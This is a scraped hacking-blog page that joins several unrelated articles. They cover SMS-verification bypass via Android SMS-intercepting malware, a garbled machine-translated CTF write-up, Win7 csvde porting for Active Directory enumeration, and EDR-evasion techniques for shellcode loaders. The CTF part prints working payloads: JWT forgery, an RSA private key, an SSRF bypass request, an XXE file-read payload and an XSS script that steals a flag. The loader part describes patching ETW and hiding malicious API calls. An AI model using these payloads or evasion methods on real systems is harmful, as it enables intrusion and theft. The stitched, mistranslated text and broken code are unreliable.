Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106782

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

本文研究人員會詳細介紹SMS PVA服務中存在的攻擊風險,這是一種建立在全球殭屍網絡之上的服務,它會將智能手機網絡安全摧殘的一無是處。

智能手機已經成為研究人員日常生活的重要組成部分,其中存儲有關研究人員生活的敏感信息,包括研究人員的銀行詳細信息和個人資料。

智能手機與平板電腦有很大不同。雖然它們都有大部分相同的功能,但智能手機有一張SIM 卡,可以讓研究人員接聽電話和短信(SMS)。

近年來,主要互聯網平台和服務都實施了短信驗證,作為創建賬戶時的人工驗證手段。 OTP 提供商通過SMS 發送的確認代碼也用作雙因素身份驗證的一部分。

然而,這一功能現在正被攻擊者濫用。

雖然SMS PVA 是一項用於在不同在線平台上創建虛假帳戶的全新服務,但攻擊者發送和接收SMS 消息的需求已經存在了一段時間。

地下論壇參與者:早期,短信驗證碼只是從普通用戶那裡獲得,願意以少量費用出售。一些地下論壇參與者會購買多個低成本電話設備,將它們連接到計算機,然後將其用作銷售SMS 消息甚至電話訪問權限的服務。

SIM 銀行:所謂的SIM 卡盒或SIM 銀行允許用戶在一個可容納20 到300 個SIM 卡盒的設備中使用多張SIM 卡。然後,SIM 卡將這些卡連接到計算機,並具有“虛擬”電話的等效帳戶,可通過計算機系統以編程方式訪問。

短信PVA:黑客組織將開發Android 惡意軟件,允許他們訪問受感染手機和其他配備SIM 卡的設備(如4G 路由器、導航設備)的SMS 代碼。

SMSPVA.net一開始,一個名為ReceiveCode的Facebook賬號發現了SMS PVA廣告。

3.1.png

Facebook 上的ReceiveCode

ReceiveCode於2020年8月首次發布,宣傳“批量虛擬電話號碼”,以便在Facebook、Google、Hotmail、Yahoo、Vkontakte、Tiktok、亞馬遜、阿里巴巴、優步、Twitter、Youtube、Linkedin 或Instagram 等各種平台上使用。單從賬號名稱就可以看出,它可以讓你在註冊在線服務時收到短信驗證碼。

3.2.png

ReceiveCode Facebook 帖子

該公司隨後在2020年11月發布了一份擴展平台的清單,擴展到包括在線零售和服務平台,如Flipkart、Lazada和GrabTaxi。他們還聲稱擁有100多個國家的手機號碼。

ReceiveCode 有一個名為smspva.net 的面向客戶的門戶,訂閱用戶可以在其中登錄以使用他們的服務。還有一個API 文檔頁面作為他們API 的參考,確認他們的目標用戶需要批量編號並採用一些自動化來使用它。

3.3.png

smspva.net 登錄頁面

本網站主要有三個功能——請求/佔用電話號碼、獲取指定應用(項目ID)的驗證碼、將電話號碼加入黑名單。

Smspva.net 提供根據國家和應用程序指定的請求手機號碼的服務。然後用戶可以收到發送到該號碼的短信驗證碼。 Smspva.net 提供僅供一次性使用的手機號碼。

那Receive Code/smspva.net 採用什麼機制來維護不同國家的這麼多手機號碼? smspva.net 的API 名稱和功能是唯一且特定的,但研究人員能夠找到另一個名為enjoynut.cn 的域,它看起來像smspva.net 的鏡像副本。

3.4.png

smspvanet(左)和enjoynut.cn(右)

在這些截圖中,研究人員可以看到smspvanet 的登錄和API 文檔類似於enjoynut.cn。相比之下,smspva.net比enjoynut.cn接收到更多的流量。因此,研究人員認為enjoynut.com是一個測試服務器,而smspva.net是smspva.net的生產服務器。

enjoynut.cn 連接是一個重要的支點,因為該域被多個Android 惡意軟件變體使用。

3.5.png

Dex 文件

感興趣的dex 文件是sha1 e83ec56dfb094fb87b57b67449d23a18208d3091,研究人員檢測到它是Android_Guerilla 的變體。這個特定的dex 文件使用cardking.ejoynut.cn 作為調試C2,並使用sublemontree.com 作為生產C2。

dex文件的目的是攔截在受影響的Android手機上收到的短信,檢查它們與從C2收到的regex規則,然後發送給C2任何匹配regex的短信。

3.6.png

攔截短信的代碼

3.7.png

通過websocket 從服務器接收正則表達式的代碼

3.8.png

發送與提供的正則表達式匹配的SMS 消息的代碼

使用這些代碼片段和C2 流量作為指紋,研究人員的團隊識別出更多具有相同功能但不同C2 的dex 文件,這表明他們的Android 惡意軟件的代碼和產品代碼的多個版本處於活躍的開發過程中。

不過需要注意的是,並不是所有的短信都會被惡意dex文件攔截。相反,只有SMS 消息由與命令和控制提供的正則表達式匹配的特定服務發送。

這是惡意dex 文件隱藏的一部分,如果smspva.net 允許其用戶訪問受感染手機上的所有SMS 消息,受感染手機的所有者會很快注意到無法接收SMS 消息的問題或接收他們沒有請求的SMS 消息。

ReceiveCode 允許用戶訪問發送到公司存儲中的手機號碼的SMS 代碼驗證。客戶只需註冊他們面向客戶的門戶網站smspva.net,即可開始使用他們的服務。

接下來,研究人員將討論smspva.net 和Android 短信攔截如何協同工作。研究人員還將舉例說明用戶如何使用smspva.net 在不使用自己的手機號碼的情況下獲取SMS 驗證碼。

許多服務在新帳戶註冊期間使用附加驗證。例如,在用戶創建帳戶之前,可能需要IP 地址來匹配電話號碼的地理位置。同樣,可能需要特定位置的驗證或限制。例如,某些內容可以僅對特定國家可用。

為了避免這種情況,SMS PVA 用戶使用第三方IP 掩碼服務,例如代理或虛擬專用網絡(VPN),來更改他們嘗試連接到所需服務時將記錄的IP 地址。分析發現SMS PVA 服務的用戶廣泛使用各種代理服務和分佈式VPN 平台來繞過IP 地理位置驗證檢查。

研究人員觀察到用戶註冊請求和短信PVA API 請求通常來自VPN 服務的出口節點或住宅代理系統。這意味著SMS PVA 服務的用戶通常將它們與某種住宅代理或VPN 服務結合使用,允許他們選擇IP 出口節點的國家以匹配用於註冊服務的電話號碼。

Smspva.net 和Android 短信攔截為了演示SMS PVA 和Android SMS 攔截如何協同工作,研究人員使用Carousell(東南亞最大的開放市場)創建了一個假設場景。

2.1.png

smspva.net 和Android 短信攔截協同工作

1. 首先,你需要註冊一個smspva.net 帳戶並充值。

2. 然後,選擇一個“項目”。項目是他們支持並能夠攔截短信驗證的在線服務或平台。對於這個場景,項目是Carousell。

3. 繼續創建一個Carousell 帳戶。

4. 對於手機號碼字段,請在smspva.net 中申請手機號碼。該服務將為你提供一個手機號碼,你可以使用該號碼在帳戶創建過程中填寫手機號碼字段。

5. 然後,Carousell會向該手機號碼發送一個帶有一次性代碼的驗證短信。惡意軟件會攔截短信並將其發送到smspva.net。

6. 然後,你可以從smspva.net獲得驗證碼,並在註冊表單中提供驗證碼。或者,你可以使用住宅代理服務來匹配所使用的電話號碼的地理位置。在此之後,你已經通過了驗證檢查,並創建了一個帳戶。

因此,受害者的手機號碼將有一個與smspva.net用戶註冊的任何平台或服務相關聯的賬戶。通過智能保護網絡(SPN)監控技術,研究人員能夠收集一小部分電話號碼的採樣集,這些號碼是由該服務的實際用戶從SMS PVA平台獲得的。

2.2.png

WhatsApp

在這個示例中,研究人員在WhatsApp 中找到了一個帶有匹配照片的印度尼西亞手機號碼(推測是所有者的真實帳戶),但與同一電話號碼關聯的Telegram 帳戶的名稱是用西里爾字母書寫的。假定該帳號是通過SMS PVA註冊的。

這些只是研究人員在smspva.net 上看到的常見趨勢的一些說明。要么是賬戶在不同服務中的名稱不同,要么是手機所在國家/地區與賬戶中使用的語言不匹配。對研究人員來說,這表明受害者的手機號碼已被利用smspva.net 服務的運營商成功使用和註冊。

短信驗證已成為在線服務平台和服務用來確認一個人只使用一個帳戶的標準方法。但是由於SMS PVA 等新服務的出現,攻擊者現在可以繞過這種方法,甚至可以利用它。

以下是此類服務能被利用的地方:

匿名性。有了SMS PVA,攻擊者可以利用一次性號碼註冊他們的賬號,而不用擔心賬號和號碼會被追踪到他們身上。一些國家在購買SIM卡時需要身份驗證,他們甚至不用擔心SMS PVA。

虛假宣傳活動。協同的不真實行為經常被用來大規模、快速且精確地傳播和放大信息。這可能是一場虛假宣傳活動,試圖操縱與特定品牌、服務、政治觀點或政府項目(如疫苗接種運動)相關的輿論。

SMS PVA服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。

濫用簽到獎勵。通過SMS PVA 服務,攻擊者可以簡單地創建多個帳戶,以利用在線服務和平台提供的註冊促銷活動。然後,他們可以將獎金出售給不起眼的受害者。

濫用應用遊戲化獎勵。攻擊者可以利用短信PVA服務創建賬戶,並從應用程序遊戲化獎金中獲利。他們可以創建假賬戶來獲得更多的瀏覽量,這將導致更多的獎勵。

規避區域限制。 SMS PVA 服務也被用來規避政府或國家的限制。例如,擁有中國電話號碼的用戶無法在Binance 平台上註冊。通過使用SMS PVA 服務,攻擊者可以繞過此限制並註冊Binance 帳戶。

避免處罰和責任。由於SMS PVA 服務提供的匿名性,攻擊者可以在使用他們的虛假賬戶犯下任何濫用或違規行為時避免法律責任和處罰。

詐騙和欺詐。 SMS PVA 允許詐騙者在任何消息傳遞應用程序中註冊批量帳戶,然後使用這些帳戶發送他們的誘餌和社交工程技巧。

像smspva.net這樣的服務最易受感染的受害者是那些不知情的智能手機受感染的個人。他們很可能不知道自己被感染了,如果他們不註冊自己手機號使用過的任何應用程序,他們甚至不會知道出了什麼問題。

如果由於與帳戶相關的任何詐騙或欺詐活動而進行刑事調查,受害者手機號碼的所有者可能成為嫌疑人並成為調查對象。

SMS PVA 服務也對使用SMS 驗證作為安全措施的在線平台和服務產生巨大影響。因為SMS PVA 服務能夠攔截這些消息,所以這種安全方法現在被破壞了。

這也影響了當前正在實施的反欺詐和不真實的用戶行為模型,因此它現在不僅需要考慮未經驗證的帳戶執行的操作,還需要考慮經過驗證的帳戶。

允許用戶使用一組身份驗證憑據登錄一組服務的單點登錄(SSO) 方案也受到SMS PVA 服務的嚴重影響。

現在可以使用SMS PVA服務在主要平台上批量創建帳戶,因為訪問實際的手機和短信只需要一次。

研究人員將討論哪些國家/地區受SMS PVA 服務影響最大,哪些在線服務和平台最受客戶歡迎。研究人員還將提出一些建議,以緩解這種複雜威脅的風險。

受服務影響最大的國家

1.png

ReceiveCode 的Facebook 和Telegram 帖子

在上面的屏幕截圖中,ReceiveCode 發布了使用其服務的主要國家/地區。從這些信息中,研究人員看到泰國、印度尼西亞、南非、美國、俄羅斯、哥倫比亞、孟加拉國、墨西哥、土耳其、安哥拉和印度通常佔據智能手機受smspva.net 影響的前10 位。

由於市場分佈,如果研究人員根據Trend Micro 的SPN 遙測數據來確定國家感染分佈,會存在一些差異,但研究人員可以驗證印度尼西亞、俄羅斯、泰國和印度確實是Android 手機受感染最多的國家之一。

2.png

受感染國家

根據這些監控數據,研究人員可以將受感染設備的用戶代理映射到最有可能的品牌和手機型號。下圖顯示了研究人員確定正在與smspva.net的信息收集後端通信的手機的分類:

3.png

受感染的智能手機品牌和型號

這表明,在製造這些廉價設備的過程中,可能存在供應鏈上的攻擊,因此它預先安裝了SMS 攔截dex 文件或稍後安裝它的下載器。

4.png

受影響的在線平台和服務

大多數受影響的服務是消息應用程序,如LINE、微信、Telegram 和WhatsApp。 TikTok、Twitter 和Facebook 等社交媒體平台也受到影響。

消息應用程序目前是smspva.net 用戶的最大目標,並且可能與這些平台上虛假帳戶的垃圾郵件和欺詐行為增加有關。

緩解措施到目前為止,SMS 驗證是唯一一種廣泛使用的安全機制,可以確保帳戶是由真人創建並為真人創建的,而不是僵網絡。以下是研究人員緩解由smspva.net 等服務帶來的威脅的一些建議:

對於在線平台和服務來說:

一次性短信驗證是不夠的。 SMS PVA服務濫用了這樣一個事實,即SMS驗證只在創建帳戶時進行一次。如果檢測到應用程序在線,一些應用程序會發送應用程序內驗證。這種類型的驗證可能會阻止使用SMS PVA服務獲取應用程序帳戶。

在啟動帶有貨幣價值的註冊或遊戲內獎勵計劃時要謹慎。 研究人員已經看到了團體註冊和遊戲內獎勵的快速盈利,因為他們能夠創建大量帳戶。在啟動這些程序時,應該採取更嚴格的措施,應該在短信驗證的基礎上實施額外的驗證,以防止濫用。

檢查手機的原產國與創建的帳戶配置文件,以幫助發現一些虛假帳戶。 如果手機號碼與創建的賬號的種族、語言、性別、頭像和/或登錄IP地址不匹配,或者用戶活動與特定地區用戶的典型行為不匹配,這是一個標誌,該帳戶可能是使用SMS PVA服務註冊的,應該需要額外的驗證。

請注意個人資料頭像或個人資料屬性的重用,因為這也是一個危險信號。 這尤其適用於專為浪漫、垃圾郵件和股票投資騙局而創建的賬戶。

對於智能手機用戶:

確保以你的品牌名稱銷售的設備的出處。有充分記錄的設備預先感染了惡意軟件的案例。

對ROM 映像和更新保持警惕。確保設備的默認ROM 映像中包含的所有應用程序、ROM 映像本身以及執行ROM 更新(FOTA/OTA) 的組件都是受信任的和/或來自受信任的來源。

對於消費者來說:

購買智能手機時要考慮安全性。在購買手機之前,研究一下你的手機製造商,看看它在安全性方面是否有良好的聲譽。

確保沒有惡意軟件運行在你的智能手機,讓這些SMS PVA服務濫用你的手機號碼。

定期分析設備內容。

只選擇受信任的應用程序,不要在設備上安裝不受信任的應用程序或來自不受信任來源的應用程序。

注意ROM映像,不要在你的手機設備上使用未經驗證的ROM映像。

1。 Qinglong Group Web

web1

最初にログインできます。ログインした後、トークンとセッションが生成されます。

これは、最初にJWTを偽造した元の質問です。

ctftime.org/downunderctf 2021(オンライン)/jwt /書き込み

2つのトークンを作成し、RSA_SIGN2Nツールを使用して公開キーを生成します

python3 jwt_forgery.py eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkckccc7fjt-fccqq9momhkwrqkpo12bsg464ytx2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub00fo2kmbkevrlpygj7txozzconcndgdl-egama-msn321rnw-aickjsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d5d2 wfif-sihgpudtzpvshie1ao0qnmlp3x7pvf-qb-juaslvbnpr1rckh2d3kq4u1d2wedvsgwvtjya6s5nxrvjpzdcpzlzmx_6ywn8cavk3k3k3kjltv8787o。img

公開キーを入手してください

-----公開キーを開始----

migfma0gcsqgsib3dqebaquaa4gnadcbiqkkbgsslumfczg/ysg4ixoi6nkguwnnv

IPZZTRNA045EH2XZZY/ZYRWDOJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FAN

mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502

ZMSV0AXMGN5UMH9FCWIDAQAB

-----公開キーを終了します------次にrsactftoolを使用して秘密鍵を取得します

img

----- RSA秘密キーを開始----

miicoqibaakbgsslumfczg/ysg4ixoi6nkguwnnvipzztrna045eh2xzzy/zyrwd

OJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FANMNCYRA47XIW0RWZBDSABCGNW

U3QP2NR7AR0/TZMSCLNCDWA7RKZLJM8FS7ZMB502ZMSV0AXMGN5UMH9FCWIDAQAB

AOGBC5/R+NCV2+UWXTJL8I6UJTLIFDOSSXKBJNIIKLXQH3L8IAAFX1I9KTXYEICW

TCGTUKX9GJD+XUWO0KOKJCG3HZC7BEFLKIOSK8DSWSPFEXYQPCE1EFOKHKC9RBIQ

urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu

scp0eyh999ogr6jblqlvwysv34udqarcfjkqob60somzpgcypr/auhfdisnvkyxlk

s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli

ujcsssjngxhj4aegltrruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl

bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein

hf6vohlxzq6itrdetafqjp4vubigr+gpsqxqchl5bnue1qmdy3aw7ltarzz8iq5i

6gmi+wdryp+goqxd65upageraogaujts5pfhst6t8hfovcf87es6qguqrtlwagwr

TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC

QSFY4PEZPMLYB7DCLCQ0SHTTPMZTTHTKDR+GFFDEDBPFOJTQC16QDNGSPBMKEPFZ

JQTA99E=

-----END RSA PRIVATE KEY----------------------------------------------------------------------------------------------------------------

ゲームルーティング機能にアクセスできます。ここに海外の元の質問があります

AIS3-PRE-EXAM-2024-WRITEUP | Naupのブログ

EMO式を使用してCDフラグを作成します; P: | cat *

ソースコードを直接読み取ると、36F8EFBEA152E50B23290E0ED707B4B0のSecret_Keyを取得できます

それからそれを偽造します

img

次に、ファイルをアップロードする機能を使用できます。まず、このパートのソースコードを監査しましょう。

@app.route( '/upload'、method=['get'、 'post']))

def upload():

token=request.cookies.get( 'token')

token:ではない場合

flash( '最初にログインしてください'、「警告」)

return redirect(url_for( 'login'))

ペイロード=decode_jwt(token)

form=uploadform()

ペイロードまたはペイロード['username']!='admin':でない場合

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

セッション[「役割」]またはセッション['ロール']!='Admin':ではない場合

error_message='このページにアクセスする許可がありません。あなたの役割は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

form.validate_on_submit():の場合

file=form.avatar.data

file:の場合

filename=secure_filename(file.filename)

files={'file':(filename、file.stream、file.content_type)}

php_service_url='http://127.0.0.1/upload.php'

response=requests.post(php_service_url、files=files)

response.status_code==200:の場合

flash(respons.text、 'success')

else:

flash(「ファイルをPHPサービスにアップロードできなかった」、「危険」)

return render_template( 'upload.html'、form=form)

@app.route( '/view_uploads'、method=['get'、 'post']))

def View_uploads():

token=request.cookies.get( 'token')

form=gameform()

token:ではない場合

error_message='最初にログインしてください'

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロード=decode_jwt(token)

Payload:ではない場合

error_message='無効または期限切れのトークン。もう一度ログインしてください。」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロードではない場合['username']=='admin':

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

user_input=none

form.validate_on_submit():の場合

filepath=form.user_input.data

pathurl=request.form.get( 'path')

if( 'www.testctf.com' 'not in patturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 '' in filepath):

error_message='www.testctf.comは、パスおよび/var/www/html/uploads/berse in filepathで必要です。

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

params={'s': filepath}

try:

response=requests.get( 'http://'+pathurl、params=params、timeout=1)

return render_template( 'view_uploads.html'、form=form、user_input=respons.text)

:を除く

error_message='500!サーバーエラー '

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

return render_template( 'view_uploads.html'、form=form、user_input=user_input)ポート80にPHPサービスがあり、 /uploadルートはUPLAODSディレクトリにファイルをアップロードできます。 view_uploadsルートの下でそれらを表示できますが、WAFがあります

if( 'www.testctf.com' 'not in baturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 ''。 ''。 ')その後、127.0.0.1の代わりに0.0.0を使用でき、SSRFのジャンプを使用してドメイン名制限をバイパスできます

POST /VIEW_UPLOADS HTTP /1.1

HOST: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv3360131.0)gecko/20100101 firefox/131.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/PNG、Image/SVG+XML、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 211

Origin: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

Connection:閉じます

参考文献: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732/VIEW_UPLOADS

Cookie3360セッション=eyjjc3jmx3rva2vuijoiymqyntjlzdzlzzlytq5zmjmowqyzjjjmmq0ytblnjc1yz jhyzlmnmu5myisinjvbguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjimnsktlcno; token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggggnuk95sqa5gdu_d6tdv95ltu97wup8ekqx6zr NVVSNP8XKVVFSX0G3XVQBO5XHDXJNPM8LIIWX_KQ8FO8T0Q0Q0QBN1RJ5O2BGKGOZSSUWAURKG7ME6L4-XFIXI7P328F1T4EN_KSP91SES7-9LCN7JABBRUH1

アップグレード-Insecure-Requests: 1

priority: u=0、i

csrf_token=imjkmjuyzwq2zwe0owzizjlkmmyyzjkngewzty3nwmyywm5zjzlotmi.zybmag.rcaslc0xu8ep682ndtsz5peqsqpa th=www.testctf.com@0.0.0.0.0.0.0.0.0.0.0.Input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit次に、最初にファイルをアップロードしてから読み取ることができます。 XMLファイルの読み込みに失敗したことが報告されていることがわかった場合、XMLを解析してXXEを直接ヒットすると推測しますが、システムなどの多くのキーワードをフィルタリングするため、UTF-16エンコードを使用してFlag.phpファイルを直接読み取ります

?xmlバージョン='1.0'?

!doctype交換[!エンティティの例システム 'php: //filter/convert.base64-encode/resource=/var/www/html/flag.php']

userinfo

FirstNameJohn/FirstName

lastnameexample;/lastName

/userinfoiconv -f utf8 -t utf16 1.xml3.xml

次に、3.xmlをアップロードし、それを読んでフラグを取得します

img

web2

コンテナのログインインターフェイスを開き、アカウントパスワードを自由に入力して、脆弱性インターフェイスを入力します。

これは、XSSの一目で上司に送信する機能です

その後、アクセス /フラグがあり、上司はそれにアクセスする必要があります。ここでは、XSSを送信してから、最初にボスにアクセス /フラグを実行してから、データをコンテンツに持ち込むことができます。

ScriptVar XMLHTTP=new XMLHTTPREQUEST();

xmlhttp.withcredentials=true;

xmlhttp.onreadystatechange=function(){

if(xmlhttp.readystate==4 xmlhttp.status==200){

var flagdata=xmlhttp.responsetext;

var flag1=btoa(flagdata);

var Remoteserverurl='/content/4a95828e3f0037bfe446ae0e693912df';

var xmlhttp2=new xmlhttprequest();

xmlhttp2.open( 'post'、remoteserverurl、true);

xmlhttp2.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp2.send( 'content=' + encodeuricomponent(flag1))

}

};

xmlhttp.open( 'get'、 '/flag'、true);

xmlhttp.send();/script img

タスクを更新した後、ボスに送信します

img

その後、ページに戻って、フラグが送信されていることを確認します

img

pwn

pwn2

Image

ログイン関数から始めて、ユーザー名とパスワードを取得している限り入力できます。

Image

Vuln関数には2バイトのオーバーフローがあり、BUFのアドレスが漏れています。

Image

また、バックドア関数と /bin /sh stringも与えてくれました

Image

Image

完全な経験

PWNインポートから *

elf=elf( './short')

コンテキスト(arch=elf.arch、os=elf.os)

context.log_level='debug'

#libc=elf( './libc.so.6')

フラグ=0

url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'

po

0x00 前言在之前的文章《渗透基础——活动目录信息的获取2:Bypass AV》 介紹了使用csvde獲取活動目錄信息的方法,優點是Windows Server系統自帶,能夠導出csv格式便於查看。但是在Win7系統下,默認不支持這個命令。

本文將要介紹在Win7下運行csvde的方法,提高適用範圍。

0x01 簡介本文將要介紹以下內容:

背景知識

移植思路

實現方法

0x02 背景知識參考資料:

https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc772704(v=ws.10)?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)

1.csvde的依賴庫需要理清以下結構:

Windows Server 2003,默認支持csvde

Windows Server 2008及更高版本,需要開啟Active Directory Domain Services (AD DS)或Active Directory Lightweight Directory Services (AD LDS)服務器角色

Windows XP Professional,需要安裝Active Directory Application Mode (ADAM)

Windows 7及更高版本,需要安裝Remote Server Administration Tools (RSAT)

2.安裝Remote Server Administration Tools (RSAT)Remote Server Administration Tools for Windows 7:微軟已經不再提供下載

Remote Server Administration Tools for Windows 8下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=28972

Remote Server Administration Tools for Windows 10下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=45520

3.Win7安裝Remote Server Administration Tools (RSAT)(1) 下載安裝KB958830

微軟已經不再提供手動下載,可選擇安裝Win7自動更新補丁

(2) 安裝功能

打開控制面板,選擇Turn Windows features on or off

在Windows Features界面中能夠找到Remote Server Administration Tools,如下圖

為了能夠支持csvde,需要安裝AD DS Snap-ins and Command-line Tools,路徑如下:

Remote Server Administration Tools - Role Administration Tools - AD DS and AD LDS Tools - AD DS Tools - AD DS Snap-ins and Command-line Tools,如下圖

c743eccc12b83c8be5c2abd90f9c343.png

安裝成功後,當前Win7系統支持csvde命令

0x03 移植思路csvde默認安裝路徑為c:\windows\system32,可以使用Process Monitor監控csvde的啟動過程,定位csvde需要的依賴文件,如下圖

a332df9947889fe181722a174fa9b3e.png

從圖中可以看出,csvde啟動時需要依賴文件C:\Windows\System32\en-US\csvde.exe.mui

經過一段時間的測試,最終得出以下移植思路:

複製文件C:\Windows\System32\csvde.exe

複製文件C:\Windows\System32\en-US\csvde.exe.mui

0x04 實現方法我們知道,在C:\Windows\System32\下創建文件需要管理員權限,為了能夠在普通用戶權限下進行移植,這裡可以採取相對路徑的方法實現:

複製csvde.exe至任意普通用戶權限可訪問的路徑

在同級目錄創建文件夾en-US,複製csvde.exe.mui

為了便於測試,我將自己測試系統的csvde已上傳至github,地址如下:

https://github.com/3gstudent/test/blob/master/csvde.zip

0x05 小結本文介紹了在Win7下運行csvde的方法,提高適用範圍,可按照同樣的方法,分別實現在Win8和Win10下運行。

我會在本文中列出一系列可用於繞過行業領先的企業終端保護解決方案的技術。出於安全的考慮,所以我決定不公開發布源代碼。

在模擬攻擊中,“初始訪問”階段的一個關鍵挑戰是繞過企業終端上的檢測和響應能力(EDR)。商業命令和控制框架向紅隊操作員提供不可修改的shellcode 和二進製文件,這些文件由終端保護行業大量簽名,為了執行該植入,該shellcode 的簽名(靜態和行為)需要被混淆。

我會在將介紹以下技術,其最終目的是執行惡意的shellcode,也被稱為(shellcode)加載程序:

Shellcode 加密;

減少熵;

退出(本地)反病毒沙箱;

導入表混淆;

禁用Windows 事件跟踪(ETW);

規避常見的惡意API 調用模式;

直接系統調用和規避“系統調用標記”;

刪除ntdll.dll 中的掛鉤;

欺騙線程調用堆棧;

信標的內存加密;

自定義反射加載程序;

可擴展配置文件中的OpSec 配置;

1. Shellcode加密讓我們從靜態shellcode 混淆話題開始。在我的加載程序中,我利用了XOR 或RC4 加密算法,因為它易於實現並且不會留下大量加載程序執行的加密活動的外部指標。用於混淆shellcode 靜態簽名的AES 加密會在二進製文件的導入地址表中留下痕跡。在此加載程序的早期版本中,我已經讓Windows Defender 專門觸發了AES 解密函數(例如CryptDecrypt、CryptHashData、CryptDeriveKey 等)。

1.png

dumpbin /imports 的輸出,這是二進製文件中僅使用AES 解密函數的痕跡

2. 減少熵許多AV/EDR 解決方案在評估未知二進制時考慮二進制熵。由於我們正在加密shellcode,我們的二進製文件的熵相當高,這清楚地表明二進製文件中的代碼部分被混淆了。

有幾種方法可以減少二進制的熵,兩種簡單的方法是:

2.1 將低熵資源添加到二進製文件中,例如(低熵)圖像。

2.2添加字符串,例如英語詞典或某些“字符串C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll”輸出。

一個更好的解決方案是設計和實現一種算法,將shellcode 混淆(編碼/加密)成英文單詞(低熵)。

3. 退出(本地)反病毒沙箱許多EDR 解決方案將在本地沙箱中運行二進製文件幾秒鐘以檢查其行為。為了避免對最終用戶體驗的影響,他們檢查二進製文件的時間不能超過幾秒鐘(我曾經見過Avast檢查時間超過30秒,但這是一個例外)。我們可以通過延遲shellcode的執行來濫用這個限制。簡單地計算一個質數是我個人的最愛,並將該數字用作加密shellcode 的(一部分)密鑰。

4.導入表混淆你希望避免可疑的Windows API (WINAPI) 出現在我們的IAT(導入地址表)中。此表包含你的二進製文件從其他系統庫導入的所有Windows API 的概述。可以在此處找到可疑API 列表(因此通常由EDR 解決方案檢查)。通常,這些是VirtualAlloc、VirtualProtect、WriteProcessMemory、CreateRemoteThread、SetThreadContext 等。運行dumpbin /exports

我們添加WINAPI 調用的函數簽名,在ntdll.dll 中獲取WINAPI 的地址,然後創建指向該地址的函數指針:

2.png

使用字符數組混淆字符串會將字符串分割成更小的部分,使它們更難從二進製文件中提取

該調用仍將針對ntdll.dll WINAPI,並且不會繞過ntdll.dll 中WINAPI 中的任何掛鉤,但純粹是為了從IAT 中刪除可疑函數。

5. 禁用Windows 事件跟踪(ETW)許多EDR 解決方案廣泛利用Windows 事件跟踪(ETW),特別是Microsoft Defender for Endpoint(以前稱為Microsoft ATP)。 ETW 允許對進程的功能和WINAPI 調用進行廣泛的檢測和跟踪。 ETW在內核中有一些組件,主要用於註冊系統調用和其他內核操作的回調函數,但也包含一個用戶域組件,它是ntdll.dll (ETW深度攻擊向量)的一部分。由於ntdll.dll是一個加載到二進製文件進程中的DLL,因此我們可以完全控制該DLL,從而控制ETW功能。在用戶空間中,ETW有很多不同的繞過方法,但最常見的是為EtwEventWrite函數打補丁,它被調用來寫入/記錄ETW事件。我們在ntdll.dll中獲取它的地址,並用返回0 (SUCCESS)的指令替換它的第一個指令。

3.png

